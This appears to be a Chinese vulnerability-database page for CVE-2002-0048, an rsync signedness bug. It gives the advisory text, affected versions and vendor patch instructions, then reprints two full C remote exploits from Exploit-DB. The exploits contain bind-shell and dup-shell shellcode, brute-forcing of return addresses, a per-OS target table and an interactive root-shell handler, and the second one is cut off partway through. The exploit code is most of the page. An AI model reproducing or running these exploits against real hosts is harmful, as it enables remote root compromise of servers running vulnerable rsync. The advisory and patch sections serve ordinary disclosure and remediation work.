CVE-2002-0048
CVSS10.0
发布时间 :2002-02-27 00:00:00
修订时间 :2016-10-17 22:15:34
NMCOES    

[原文]Multiple signedness errors (mixed signed and unsigned numbers) in the I/O functions of rsync 2.4.6, 2.3.2, and other versions allow remote attackers to cause a denial of service and execute arbitrary code in the rsync client or server.


[CNNVD]rsync有符号数组索引远程执行指令漏洞(CNNVD-200202-014)

        
        rsync程序用于主机之间通过网络同步文件和目录,它可以用来维护几个FTP的镜像。程序运行于Linux和其他的Unix类操作系统,而且一般以root身份运行。
        rsync实现上存在漏洞,在某些情况下可以使远程攻击者在主机上执行任意指令。
        在某些情况下,一个由远程攻击者提供的有符号数会被rsync程序用来作为数组的索引,允许一个NULL字节被写到内存的任意位置。如果成功地利用这个漏洞,会导致堆栈破坏,攻击者可能以root身份在主机上执行任意指令。
        

- CVSS (基础分值)

CVSS分值: 10 [严重(HIGH)]
机密性影响: [--]
完整性影响: [--]
可用性影响: [--]
攻击复杂度: [--]
攻击向量: [--]
身份认证: [--]

- CPE (受影响的平台与产品)

cpe:/a:andrew_tridgell:rsync:2.3.2_1.2::alpha
cpe:/a:andrew_tridgell:rsync:2.3.2_1.2::intel
cpe:/a:andrew_tridgell:rsync:2.5.0_1
cpe:/a:andrew_tridgell:rsync:2.3.2_1.2::m68k
cpe:/a:andrew_tridgell:rsync:2.4.6
cpe:/a:andrew_tridgell:rsync:2.4.4
cpe:/a:andrew_tridgell:rsync:2.5.1
cpe:/a:andrew_tridgell:rsync:2.4.3
cpe:/a:andrew_tridgell:rsync:2.3.1
cpe:/a:andrew_tridgell:rsync:2.3.2_1.2::ppc
cpe:/a:andrew_tridgell:rsync:2.3.2
cpe:/a:andrew_tridgell:rsync:2.3.2_1.2::sparc
cpe:/a:andrew_tridgell:rsync:2.4.1
cpe:/a:andrew_tridgell:rsync:2.3.2_1.2::arm

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0048
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2002-0048
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200202-014
(官方数据源) CNNVD

- 其它链接及资源

ftp://ftp.freebsd.org/pub/FreeBSD/CERT/advisories/FreeBSD-SA-02:10.rsync.asc
(UNKNOWN)  FREEBSD  FreeBSD-SA-02:10
http://distro.conectiva.com.br/atualizacoes/?id=a&anuncio=000458
(UNKNOWN)  CONECTIVA  CLA-2002:458
http://lists.suse.com/archives/suse-security-announce/2002-Jan/0003.html
(VENDOR_ADVISORY)  SUSE  SuSE-SA:2002:004
http://marc.info/?l=bugtraq&m=101223214906963&w=2
(UNKNOWN)  BUGTRAQ  20020128 TSLSA-2002-0025 - rsync
http://marc.info/?l=bugtraq&m=101223603321315&w=2
(UNKNOWN)  BUGTRAQ  20020127 rsync-2.5.2 has security fix (was: Re: [RHSA-2002:018-05] New rsync packages available)
http://online.securityfocus.com/advisories/3839
(UNKNOWN)  HP  HPSBTL0201-022
http://www.caldera.com/support/security/advisories/CSSA-2002-003.0.txt
(UNKNOWN)  CALDERA  CSSA-2002-003.0
http://www.debian.org/security/2002/dsa-106
(PATCH)  DEBIAN  DSA-106
http://www.iss.net/security_center/static/7993.php
(UNKNOWN)  XF  linux-rsync-root-access(7993)
http://www.kb.cert.org/vuls/id/800635
(UNKNOWN)  CERT-VN  VU#800635
http://www.linux-mandrake.com/en/security/2002/MDKSA-2002-009.php
(UNKNOWN)  MANDRAKE  MDKSA-2002:009
http://www.linuxsecurity.com/advisories/other_advisory-1853.html
(UNKNOWN)  ENGARDE  ESA-20020125-004
http://www.redhat.com/support/errata/RHSA-2002-018.html
(UNKNOWN)  REDHAT  RHSA-2002:018
http://www.securityfocus.com/bid/3958
(VENDOR_ADVISORY)  BID  3958

- 漏洞信息

rsync有符号数组索引远程执行指令漏洞
危急 访问验证错误
2002-02-27 00:00:00 2005-10-20 00:00:00
远程  
        
        rsync程序用于主机之间通过网络同步文件和目录,它可以用来维护几个FTP的镜像。程序运行于Linux和其他的Unix类操作系统,而且一般以root身份运行。
        rsync实现上存在漏洞,在某些情况下可以使远程攻击者在主机上执行任意指令。
        在某些情况下,一个由远程攻击者提供的有符号数会被rsync程序用来作为数组的索引,允许一个NULL字节被写到内存的任意位置。如果成功地利用这个漏洞,会导致堆栈破坏,攻击者可能以root身份在主机上执行任意指令。
        

- 公告与补丁

        临时解决方法:
        如果您不能立刻安装补丁或者升级,CNNVD建议您采取以下措施以降低威胁:
        * 设置对rsync服务的IP过滤,确认只有可信的主机能够访问服务器。
        厂商补丁:
        Conectiva
        ---------
        Conectiva已经为此发布了一个安全公告(CLA-2002:458)以及相应补丁:
        CLA-2002:458:rsync
        补丁下载:
        ftp://atualizacoes.conectiva.com.br/5.0/SRPMS/rsync-2.4.6-4U50_1cl.src.rpm
        ftp://atualizacoes.conectiva.com.br/5.0/i386/rsync-2.4.6-4U50_1cl.i386.rpm
        ftp://atualizacoes.conectiva.com.br/5.1/SRPMS/rsync-2.4.6-4U51_1cl.src.rpm
        ftp://atualizacoes.conectiva.com.br/5.1/i386/rsync-2.4.6-4U51_1cl.i386.rpm
        ftp://atualizacoes.conectiva.com.br/6.0/SRPMS/rsync-2.4.6-4U60_1cl.src.rpm
        ftp://atualizacoes.conectiva.com.br/6.0/RPMS/rsync-2.4.6-4U60_1cl.i386.rpm
        ftp://atualizacoes.conectiva.com.br/7.0/SRPMS/rsync-2.4.6-4U70_1cl.src.rpm
        ftp://atualizacoes.conectiva.com.br/7.0/RPMS/rsync-2.4.6-4U70_1cl.i386.rpm
        ftp://atualizacoes.conectiva.com.br/ferramentas/ecommerce/SRPMS/rsync-2.4.6-4U50_1cl.src.rpm
        ftp://atualizacoes.conectiva.com.br/ferramentas/ecommerce/i386/rsync-2.4.6-4U50_1cl.i386.rpm
        ftp://atualizacoes.conectiva.com.br/ferramentas/graficas/SRPMS/rsync-2.4.6-4U50_1cl.src.rpm
        ftp://atualizacoes.conectiva.com.br/ferramentas/graficas/i386/rsync-2.4.6-4U50_1cl.i386.rpm
        Conectiva Linux version 6.0及以上版本的用户可以使用apt进行RPM包的更新:
        - 把以下的文本行加入到/etc/apt/sources.list文件中:
        
        rpm [cncbr] ftp://atualizacoes.conectiva.com.br 6.0/conectiva updates
        (如果你不是使用6.0版本,用合适的版本号代替上面的6.0)
        - 执行: apt-get update
        - 更新以后,再执行: apt-get upgrade
        Debian
        ------
        Debian已经为此发布了一个安全公告(DSA-106-1)以及相应补丁:
        DSA-106-1:rsync remote exploit
        链接:
        http://www.debian.org/security/2002/dsa-106

        补丁下载:
        Source archives:
        
        http://security.debian.org/dists/stable/updates/main/source/rsync_2.3.2-1.3.diff.gz

        
        http://security.debian.org/dists/stable/updates/main/source/rsync_2.3.2-1.3.dsc

        
        http://security.debian.org/dists/stable/updates/main/source/rsync_2.3.2.orig.tar.gz

         Alpha architecture:
        
        http://security.debian.org/dists/stable/updates/main/binary-alpha/rsync_2.3.2-1.3_alpha.deb

         ARM architecture:
        
        http://security.debian.org/dists/stable/updates/main/binary-arm/rsync_2.3.2-1.3_arm.deb

         Intel IA-32 architecture:
        
        http://security.debian.org/dists/stable/updates/main/binary-i386/rsync_2.3.2-1.3_i386.deb

         Motorola 680x0 architecture:
        
        http://security.debian.org/dists/stable/updates/main/binary-m68k/rsync_2.3.2-1.3_m68k.deb

         PowerPC architecture:
        
        http://security.debian.org/dists/stable/updates/main/binary-powerpc/rsync_2.3.2-1.3_powerpc.deb

         Sun Sparc architecture:
        
        http://security.debian.org/dists/stable/updates/main/binary-sparc/rsync_2.3.2-1.3_sparc.deb

        补丁安装方法:
        1. 手工安装补丁包:
         首先,使用下面的命令来下载补丁软件:
         # wget url (url是补丁下载链接地址)
         然后,使用下面的命令来安装补丁:
         # dpkg -i file.deb (file是相应的补丁名)
        2. 使用apt-get自动安装补丁包:
         首先,使用下面的命令更新内部数据库:
         # apt-get update
        
         然后,使用下面的命令安装更新软件包:
         # apt-get upgrade
        EnGarde
        -------
        EnGarde已经为此发布了一个安全公告(ESA-20020125-004)以及相应补丁:
        ESA-20020125-004:rsync signed integer handling vulnerability
        补丁下载:
        ftp://ftp.engardelinux.org/pub/engarde/stable/updates/
        
        http://ftp.engardelinux.org/pub/engarde/stable/updates/

        补丁安装方法:
        安装程序之前,主机必须是以下两种状态之一:
         a) 启到一个标准的kernel
         b) 禁用LIDS
         用以下命令禁用LIDS:
         # /sbin/lidsadm -S -- -LIDS_GLOBAL
         安装更新软件:
         # rpm -Uvh
         更新LIDS的设置:
         # /usr/sbin/config_lids.pl
         开启LIDS:
         # /sbin/lidsadm -S -- +LIDS_GLOBAL
         检查更新文件的签名:
         # rpm -Kv
        RedHat
        ------
        RedHat已经为此发布了一个安全公告(RHSA-2002:018-05)以及相应补丁:
        RHSA-2002:018-05:New rsync packages available
        链接:https://www.redhat.com/support/errata/RHSA-2002-018.html
        补丁下载:
        Red Hat Linux 6.2:
        SRPMS:
        ftp://updates.redhat.com/6.2/en/os/SRPMS/rsync-2.4.6-0.6.src.rpm
        alpha:
        ftp://updates.redhat.com/6.2/en/os/alpha/rsync-2.4.6-0.6.alpha.rpm
        i386:
        ftp://updates.redhat.com/6.2/en/os/i386/rsync-2.4.6-0.6.i386.rpm
        sparc:
        ftp://updates.redhat.com/6.2/en/os/sparc/rsync-2.4.6-0.6.sparc.rpm
        Red Hat Linux 7.0:
        SRPMS:
        ftp://updates.redhat.com/7.0/en/os/SRPMS/rsync-2.4.6-8.src.rpm
        alpha:
        ftp://updates.redhat.com/7.0/en/os/alph

- 漏洞信息 (398)

rsync <= 2.5.1 Remote Exploit (EDBID:398)
linux remote
2002-01-01 Verified
873 Teso
N/A [点击下载]
/*** 7350fuqnut - rsync <= 2.5.1 remote exploit -- linux/x86 ver. 
 ***
 *** current version 2.5.5 but bug was silently fixed it appears
 *** so vuln versions still ship, maybe security implemecations
 *** were not recognized. 
 ***
 *** we can write NULL bites below &line[0] by supplying negative
 *** lengths. read_sbuf calls buf[len] = 0. standard NULL byte off
 *** by one kungf00 from there on.
 *** 
 *** - stealth
 ***/
 
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <stdarg.h>
#include <netdb.h>
#include <errno.h>

#define MAXPATHLEN	4096
#define VERSION		"@RSYNCD: 26\n"

#define PORT 		873
#define NULL_OFFSET	-48
#define	STARTNULLBRUTE	-44
#define ENDNULLBRUTE	-56
#define BRUTEBASE 	0xbfff7777
#define INCREMENT	512
#define ALLIGN		0 /* pop byte allignment */

#define SEND		"uname -a; id\n"

int open_s(char *h, int p);
int setup(int s);
int exploit(int s);
void quit(int s); /* garbage quit */

void handleshell(int closeme, int s);
void usage(char *n);

char chode[] = /* Taeho oh, port 30464 */
"\x31\xc0\xb0\x02\xcd\x80\x85\xc0\x75\x43\xeb\x43\x5e\x31\xc0"
"\x31\xdb\x89\xf1\xb0\x02\x89\x06\xb0\x01\x89\x46\x04\xb0\x06"
"\x89\x46\x08\xb0\x66\xb3\x01\xcd\x80\x89\x06\xb0\x02\x66\x89"
"\x46\x0c\xb0\x77\x66\x89\x46\x0e\x8d\x46\x0c\x89\x46\x04\x31"
"\xc0\x89\x46\x10\xb0\x10\x89\x46\x08\xb0\x66\xb3\x02\xcd\x80"
"\xeb\x04\xeb\x55\xeb\x5b\xb0\x01\x89\x46\x04\xb0\x66\xb3\x04"
"\xcd\x80\x31\xc0\x89\x46\x04\x89\x46\x08\xb0\x66\xb3\x05\xcd"
"\x80\x88\xc3\xb0\x3f\x31\xc9\xcd\x80\xb0\x3f\xb1\x01\xcd\x80"
"\xb0\x3f\xb1\x02\xcd\x80\xb8\x2f\x62\x69\x6e\x89\x06\xb8\x2f"
"\x73\x68\x2f\x89\x46\x04\x31\xc0\x88\x46\x07\x89\x76\x08\x89"
"\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31"
"\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\x5b\xff\xff\xff";

struct x_info {
	char *h;
	int p;
	char *module;
	int null_offset;
	u_long brutebase;
	int shell;
	int checkvuln;
	int nullbrute;
	int allign;
} rsx;
	

int
main(int argc, char **argv)
{
	char c;
	int s;
	u_long store;
	
	if(argc == 1) usage(argv[0]);

	rsx.h = "localhost";
	rsx.p = PORT;
	rsx.null_offset = NULL_OFFSET;
	rsx.brutebase = BRUTEBASE;
	rsx.nullbrute = 0;
	rsx.allign = ALLIGN;

	
	while((c = getopt(argc, argv, "h:p:m:o:b:Ba:")) != EOF) {
		switch(c) {
			case 'h':
				rsx.h = optarg;
				break;
			case 'p':
				rsx.p = atoi(optarg);
				break;
			case 'm':
				rsx.module = optarg;
				break;
			case 'o':
				rsx.null_offset = atoi(optarg);
				break;
			case 'b':
				rsx.brutebase = strtoul(optarg, (char **)optarg+strlen(optarg), 16);
				break;
			case 'B':
				rsx.nullbrute = 1;
				break;
			case 'a':
				rsx.allign = atoi(optarg);
				if(rsx.allign>4) {
					fprintf(stderr, "allign > 4 !? using default\n");
					rsx.allign = ALLIGN;
				}
				break;
			default:
				usage(argv[0]);
		}
	}
	
	/* NULL byte brute wrap */
	
	store = rsx.brutebase;
	
	if(rsx.nullbrute) 
		for(rsx.null_offset = STARTNULLBRUTE; rsx.null_offset >= ENDNULLBRUTE; rsx.null_offset--) 
{
			fprintf(stderr, "\noffset: %d\n", rsx.null_offset);		
			/* start run -- cuten this up with some connectback shellcode */
			for(rsx.checkvuln = 1; rsx.brutebase <= 0xbfffffff; rsx.brutebase += INCREMENT) {
				if((s = open_s(rsx.h, rsx.p)) < 0) {
					fprintf(stderr, "poop..bye\n");
					exit(1);
				}
	
				if(setup(s) > 0) 
					if(exploit(s) > 0) 
						handleshell(s, rsx.shell);
			}
			rsx.brutebase = store;			
		}	 
	

 	for(rsx.checkvuln = 1; rsx.brutebase <= 0xbfffffff; rsx.brutebase += INCREMENT) {
                if((s = open_s(rsx.h, rsx.p)) < 0) {
                        fprintf(stderr, "poop..bye\n");
                        exit(1);
                }

                if(setup(s) > 0)
                        if(exploit(s) > 0)
                                handleshell(s, rsx.shell);
        }


	fprintf(stderr, "No luck...bye\n");	
	exit(0);
}

void
quit(int s)
{
	/* we just write a garbage quit to make the remote end the process */
	/* very crude but who cares */
	write(s, "QUIT\n", 5);
	close(s);
}  

int
setup(int s)
{
	/* we just dump our setup info on the socket. kludge */
	
	char out[512], *check;
	long version = 0;
	
	
	if(rsx.checkvuln) {
		rsx.checkvuln = 0; /* just check once */
		
		/* get version reply -- vuln check */
		memset(out, '\0', sizeof(out));
		read(s, out, sizeof(out)-1);
		if((check = strchr(out, (int)':')) != NULL) {
			version = strtoul((char *)check+1, (char **)check+3, 0);
			if(version >= 26) {
				fprintf(stderr, "target is not vulnerable (version: %d)\n", version);
				quit(s);
				exit(0);
			}
		}
		else {
			fprintf(stderr, "did not get version reply..aborting\n");
			quit(s);
			exit(0);
		}
		
		fprintf(stderr, "Target appears to be vulnerable..continue attack\n");
	}
	
	/* our version string */	
	if(write(s, VERSION, strlen(VERSION)) < 0) return -1;

	/* the module we supposedly want to retrieve */
	memset(out, '\0', sizeof(out));
	snprintf(out, sizeof(out)-1, "%s\n", rsx.module);
	if(write(s, out, strlen(out)) < 0) return -1;
       	if(write(s, "--server\n", 9) < 0) return -1;
       	if(write(s, "--sender\n", 9) < 0) return -1;
	if(write(s, ".\n", 2) < 0) return -1;
	/* send module name once more */
	if(write(s, out, strlen(out)) < 0) return -1;
	/* send newline */
	if(write(s, "\n", 1) < 0) return -1;

	return 1;
}

int
exploit(int s) 
{
	
	char x_buf[MAXPATHLEN], b[4];
	int i;

	/* sleep(15); */

	memset(x_buf, 0x90, ((MAXPATHLEN/2)-strlen(chode)));
	memcpy(x_buf+((MAXPATHLEN/2)-strlen(chode)), chode, strlen(chode));
	/* allign our address bytes for the pop if needed */
        for(i=(MAXPATHLEN/2); i<((MAXPATHLEN/2)+rsx.allign);i++)
		x_buf[i] = 'x';
	for(i=((MAXPATHLEN/2)+rsx.allign); i<MAXPATHLEN; i+=4)
                *(long *)&x_buf[i] = rsx.brutebase;
	*(int *)&b[0] = (MAXPATHLEN-1);
	if(write(s, b, 4) < 0) return -1;
	if(write(s, x_buf, (MAXPATHLEN-1)) < 0) return -1;
	/* send NULL byte offset from &line[0] to read_sbuf() ebp */
	*(int *)&b[0] = rsx.null_offset;
	if(write(s, b, 4) < 0) return -1;
	/* let rsync know it can go ahead and own itself now */
	memset(b, '\0', 4);
	if(write(s, b, 4) < 0) return -1;

	/* zzz for shell setup */
	usleep(50000);
	
	/* check for our shell -- (mod this to be connectback friendly bruteforce) */
	fprintf(stderr, ";");
	if((rsx.shell = open_s(rsx.h, 30464)) < 0) {
		if(rand() % 2)
			fprintf(stderr, "P");
		else
			fprintf(stderr, "p");
		quit(s);
		return -1;
	}
	
	fprintf(stderr, "\n\nSuccess! (ret: %p offset: %d)\n\n", rsx.brutebase, rsx.null_offset);
	return 1;	
}
	
	
	
void
usage(char *n) {
	fprintf(stderr, 
			"\nUsage: %s\n"
			"\nOptions:\n" 
			"\t-h <rsync_host>\n" 
			"\t-m <module_to_request>\n"
			"\nExtra options:\n"
			"\t-p <rsync_port>\n"
			"\t-o <null_byte_offset>\n"
			"\t-a <byte_allignment_for_eip_pop>\n"
			"\nBrute force options:\n"
			"\t-b <0xbruteforce_base_address>\n"
			"\t-B Turns on NULL byte offset bruting\n\n"
		, n);
	
	exit(0);
}
	

int
open_s(char *h, int p)
{
        struct sockaddr_in remote;
        struct hostent *iplookup;
        char *ipaddress;
        int sfd;

        if((iplookup = gethostbyname(h)) == NULL) {
                perror("gethostbyname");
                return -1;
        }

        ipaddress = (char *)inet_ntoa(*((struct in_addr *)iplookup->h_addr));
        sfd = socket(AF_INET, SOCK_STREAM, 0);

        remote.sin_family = AF_INET;
        remote.sin_addr.s_addr = inet_addr(ipaddress);
        remote.sin_port = htons(p);
        memset(&(remote.sin_zero), '\0', 8);

        if(connect(sfd, (struct sockaddr *)&remote, sizeof(struct sockaddr)) < 0) return -1;
        
        return sfd;
}

void
handleshell(int closeme, int s)   
{
        char in[512], out[512];
	fd_set fdset;
        
	close(closeme);
	
	if(write(s, SEND, strlen(SEND)) < 0 ) {
		fprintf(stderr, "write error\n");
		exit(1);
	}	
 
        while(1) {
        
                FD_ZERO(&fdset);
                FD_SET(fileno(stdin), &fdset);
                FD_SET(s, &fdset);
        
                select(s+1, &fdset, NULL, NULL, NULL);
        
                if(FD_ISSET(fileno(stdin), &fdset)) {
                        memset(out, '\0', sizeof(out));
                        if(read(0, out, (sizeof(out)-1)) < 0) {
				fprintf(stderr, "read error\n");
                                exit(1);
			}
			if(!strncmp(out, "exit", 4)) {
                                write(s, out, strlen(out));
                                quit(s);
				exit(0);
                        }
                        if(write(s, out, strlen(out)) < 0) {
                                fprintf(stderr, "write error\n");
                                exit(1);
                        }
                }
        
                if(FD_ISSET(s, &fdset)) {
                        memset(in, '\0', sizeof(in));
                        if(read(s, in, (sizeof(in)-1)) < 0) {
                                fprintf(stderr, "read error\n");
                                exit(1);
                        }
               		fprintf(stderr, "%s", in);
		}
        }
}

// milw0rm.com [2002-01-01]
		

- 漏洞信息 (399)

rsync <= 2.5.1 Remote Exploit (2) (EDBID:399)
linux remote
2002-01-01 Verified
873 Teso
N/A [点击下载]
/* 7350rsync - rsync <= 2.5.1 remote exploit - x86 ver.
 *
 * current version 2.5.5 but bug was silently fixed it appears
 * so vuln versions still ship, maybe security implemecations
 * were not recognized. 
 *
 * we can write NULL bites below &line[0] by supplying negative
 * lengths. read_sbuf calls buf[len] = 0. standard NULL byte off
 * by one kungf00 from there on.
 * 
 * originally by 7350, dupshell/FreeBSD by sprinkles
 *
 * 
 *
 */


 
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <stdarg.h>
#include <netdb.h>
#include <errno.h>

#define MAXPATHLEN      4096
#define VERSION         "@RSYNCD: 26\n"

#define PORT            873
#define NULL_OFFSET     -48
#define STARTNULLBRUTE  -44
#define ENDNULLBRUTE    -56
#define BRUTEBASE       0xbfff7777
#define INCREMENT       512
#define ALLIGN          0 /* pop byte allignment */

#define SEND            "uname -a; id\n"

int open_s(char *h, int p);
int setup(int s);
int exploit(int s);
void quit(int s); /* garbage quit */

void handleshell(int closeme, int s);
void usage(char *n);

char linux_port[] = /* x86 linux portshell 30464 */
"\x31\xc0\xb0\x02\xcd\x80\x85\xc0\x75\x43\xeb\x43\x5e\x31\xc0"
"\x31\xdb\x89\xf1\xb0\x02\x89\x06\xb0\x01\x89\x46\x04\xb0\x06"
"\x89\x46\x08\xb0\x66\xb3\x01\xcd\x80\x89\x06\xb0\x02\x66\x89"
"\x46\x0c\xb0\x77\x66\x89\x46\x0e\x8d\x46\x0c\x89\x46\x04\x31"
"\xc0\x89\x46\x10\xb0\x10\x89\x46\x08\xb0\x66\xb3\x02\xcd\x80"
"\xeb\x04\xeb\x55\xeb\x5b\xb0\x01\x89\x46\x04\xb0\x66\xb3\x04"
"\xcd\x80\x31\xc0\x89\x46\x04\x89\x46\x08\xb0\x66\xb3\x05\xcd"
"\x80\x88\xc3\xb0\x3f\x31\xc9\xcd\x80\xb0\x3f\xb1\x01\xcd\x80"
"\xb0\x3f\xb1\x02\xcd\x80\xb8\x2f\x62\x69\x6e\x89\x06\xb8\x2f"
"\x73\x68\x2f\x89\x46\x04\x31\xc0\x88\x46\x07\x89\x76\x08\x89"
"\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31"
"\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\x5b\xff\xff\xff";

char linux_dup[] = /* x86 linux dupshell */
"\x31\xc0\x50\x40\x89\xc3\x50\x40\x50\xcd\x80\x85\xc0\x74\x05\x93"
"\x31\xdb\xcd\x80\xb0\x42\xcd\x80\x31\xc0\xb0\x06\x31\xdb\xb3\x03"
"\x50\xcd\x80\x58\x4b\x79\xf9\xb0\x30\x43\xb3\x0f\x31\xc9\x41\x50"
"\xcd\x80\x58\x80\xe3\x03\x4b\x75\xf6\x43\xb0\x66\x89\xe1\x50\xcd"
"\x80\x92\x43\x6a\x10\x8d\x7c\x24\x04\x57\x52\xb8\x02\xff\x0b\x1a"
"\xfe\xc4\xab\x31\xc0\xab\xb0\x66\x89\xe1\x50\xcd\x80\x85\xc0\x78"
"\x4e\x58\xb3\x04\x6a\x05\x52\x89\xe1\x50\xcd\x80\x31\xc0\xb0\x06"
"\xcd\x80\x58\x31\xdb\xb0\x66\xb3\x05\x31\xc9\x51\x51\x52\x89\xe1"
"\x50\xcd\x80\x85\xc0\x78\x28\x93\x31\xc0\x40\x40\xcd\x80\x85\xc0"
"\x75\xda\x87\xda\xb0\x06\xcd\x80\x87\xda\xb0\x29\xcd\x80\xb0\x29"
"\xcd\x80\x31\xc0\xb0\x06\x31\xdb\xb3\x03\xcd\x80\x58\xeb\x1d\x31"
"\xc0\x31\xdb\x40\xcd\x80\x5b\x31\xc0\x88\x43\x07\x8d\x4b\x08\x89"
"\x19\x89\x41\x04\xb0\x0b\x31\xd2\xcd\x80\xeb\xe3\xe8\xe5\xff\xff"
"\xff/bin/sh";

char freebsd_port[] = /* x86 FreeBSD portshell 30464 */
"\x31\xc0\x40\x40\xcd\x80\x85\xc0\x74\x16\xeb\x60\x5e\x56\x31\xc9"
"\xb1\x10\x89\xf7\xad\x35\xc0\x8a\xc0\x8a\xab\xe2\xf7\x5e\xeb\x4e"
"\xe8\xe7\xff\xff\xff\x95\xd9\x85\xd8\xe0\xf2\xe0\xf2\xe0\xf2\xe0"
"\xf2\xcd\x80\x8e\xc3\x83\xc1\xe0\xcf\xf0\xcc\xcd\x80\x8d\xc5\x84"
"\xcf\xe0\xcf\xf0\xcc\xe0\xb0\xed\xf2\xcd\x80\x8a\xc5\x89\xc4\xe0"
"\xa9\xf0\xf2\x85\xc5\x86\xaa\xa4\xff\xa4\xef\xcd\x80\x91\xdf\x89"
"\xde\xcd\x80\x85\xc0\x31\xc0\x40\x31\xdb\xcd\x80\xeb\x7c\x89\xe7"
"\x31\xdb\x43\x31\xc0\x50\x40\x50\x40\x50\xb0\x66\x89\xe1\x50\xcd"
"\x80\x92\x58\x5b\x5b\x5b\xb3\x03\x6a\x10\x57\x52\x50\xb8\x02\xff"
"\x1a\x0b\xfe\xc4\xab\xb8\xd8\x28\xf4\x7d\xab\x58\xcd\x80\x5b\x58"
"\x58\xb0\x04\x89\xf1\x31\xd2\xb2\x18\x01\xd6\xcd\x80\x31\xd2\xb2"
"\xff\x31\xc0\xb0\x03\x89\xe1\xcd\x80\x85\xc0\x76\xa8\x81\x39\x50"
"\x49\x4e\x47\x74\x06\x41\x48\x75\xf4\xeb\xe6\x89\xcf\x47\xc6\x07"
"\x4f\x87\xf7\xac\x3c\x0a\x75\xfb\x87\xfe\x91\xb1\x26\xf3\xa4\x91"
"\xb0\x04\x89\xfa\x29\xca\xcd\x80\xeb\xc3";

struct x_info {
        char *h;
        int p;
        char *module;
        int null_offset;
        u_long brutebase;
        int shell;
        int checkvuln;
        int nullbrute;
        int allign;
} rsx;
        
struct {
  char *desc;             /* description */
  int retdist;   
  unsigned int retaddr;         /* return address */
  char *shell;
} targets[] = {
  { "Linux Redhat 7.0 x86 / rsync 2.5.0", -0x1f0, 0x80e1d0, linux_port },
  { "Linux Redhat 7.0 x86 / rsync 2.5.1", -0x1f0, 0x80e23c, linux_dup },
  { "Linux Redhat 7.1 x86 / rsync 2.5.0", -0x1f0, 0x80e1c4, linux_port },
  { "Linux Redhat 7.1 x86 / rsync 2.5.1", -0x1f0, 0x80e230, linux_dup },
  { "Linux Redhat 7.2 x86 / rsync 2.5.0", -0x1f0, 0x80e1b8, linux_port },
  { "Linux Redhat 7.2 x86 / rsync 2.5.1", -0x1f0, 0x80e22c, linux_dup },
  { "Linux Mandrake 8.0 x86 / rsync 2.5.0", -0x1f0, 0x80e3a4, linux_port },
  { "Linux Mandrake 8.0 x86 / rsync 2.5.1", -0x1f0, 0x80e428, linux_dup },
  { "FreeBSD 4.2 x86 / rsync 2.5.0", -0x86, 0x80a248, freebsd_port },
  { "FreeBSD 4.2 x86 / rsync 2.5.1", -0x86, 0x80a29c, freebsd_port },
  { "FreeBSD 4.3 x86 / rsync 2.5.0", -0x86, 0x80a254, freebsd_port },
  { "FreeBSD 4.3 x86 / rsync 2.5.1", -0x86, 0x80a2a0, freebsd_port },
  { "FreeBSD 4.4 x86 / rsync 2.5.0", -0x86, 0x80a278, freebsd_port },
  { "FreeBSD 4.4 x86 / rsync 2.5.1", -0x86, 0x80a2b4, freebsd_port },
  { "FreeBSD 4.5 x86 / rsync 2.5.0", -0x86, 0x80a28c, freebsd_port },
  { "FreeBSD 4.5 x86 / rsync 2.5.1", -0x86, 0x80a2dc, freebsd_port },
}, *victim;

int
main(int argc, char **argv)
{
        int pipa[2];
        char c;
        int s,r;
        char buf[1024];
        char **p;
        u_long store;
        
        fprintf(stderr, "7350rsync - rsync <= 2.5.1 remote exploit - x86 ver.\n"
                        "-sc\n"
                        "\n");

        p = ((char **)targets) + 35;
        rsx.p = PORT;
        rsx.null_offset = NULL_OFFSET;
        rsx.brutebase = BRUTEBASE;
        rsx.nullbrute = 0;
        rsx.allign = ALLIGN;

        strcpy(buf, *p);
        p -= 4;
        strcat(buf, *p);
        pipa[2] = (int)buf;
        pipa[3] = (int)buf;

        if(argc == 1) { usage(argv[0]); return 0; }

        while((c = getopt(argc, argv, "h:p:m:d:r:t:")) != EOF) {
                switch(c) {
                        case 'h':
                                rsx.h = optarg;
                                break;
                        case 'p':
                                rsx.p = atoi(optarg);
                                break;
                        case 'm':
                                rsx.module = optarg;
                                break;
                        case 'd':
                               rsx.null_offset = atoi(optarg);
                                break;
                        case 'r':
                                rsx.brutebase = strtoul(optarg, (char **)optarg+strlen(optarg), 16);
                                break;
                        case 't':
                                if(atoi(optarg) < 1 || atoi(optarg) > sizeof(targets) / sizeof(targets[0]))
                                  usage(argv[0]);
                                victim = &targets[atoi(optarg) - 1];
                                break;
                        default:
                                usage(argv[0]);
                                return 0;
                }
        }
        
        if(optind == argc)
          { usage(argv[0]); return 0; }
  
        rsx.h = argv[optind++];
        /* NULL byte brute wrap */
        
        store = rsx.brutebase;
        
        if(rsx.nullbrute) 
                for(rsx.null_offset = STARTNULLBRUTE; rsx.null_offset >= ENDNULLBRUTE; rsx.null_offset--) {
                        fprintf(stderr, "\noffset: %d\n", rsx.null_offset);             
                        /* start run -- cuten this up with some connectback shellcode */
                        for(rsx.checkvuln = 1; rsx.brutebase <= 0xbfffffff; rsx.brutebase += INCREMENT) {
                                if((s = open_s(rsx.h, rsx.p)) < 0) {
                                        fprintf(stderr, "poop..bye\n");
                                        return 1;
                                }
                          
                          if((r = setup(s)) > 0)
                            {
                              if((r = exploit(s)) > 0)             
                                handleshell(s, rsx.shell);
                            }
                          else
                            return 1;
                        }
                        rsx.brutebase = store;                  
                }        
        

        for(rsx.checkvuln = 1; rsx.brutebase <= 0xbfffffff; rsx.brutebase += INCREMENT) {
                if((s = open_s(rsx.h, rsx.p)) < 0) {
                        fprintf(stderr, "poop..bye\n");
                        return 1;
                }

                if((r = setup(s)) > 0)
            {
              
                        if(exploit(s) > 0)
                                handleshell(s, rsx.shell);
            }
          else
            return 1;
        }


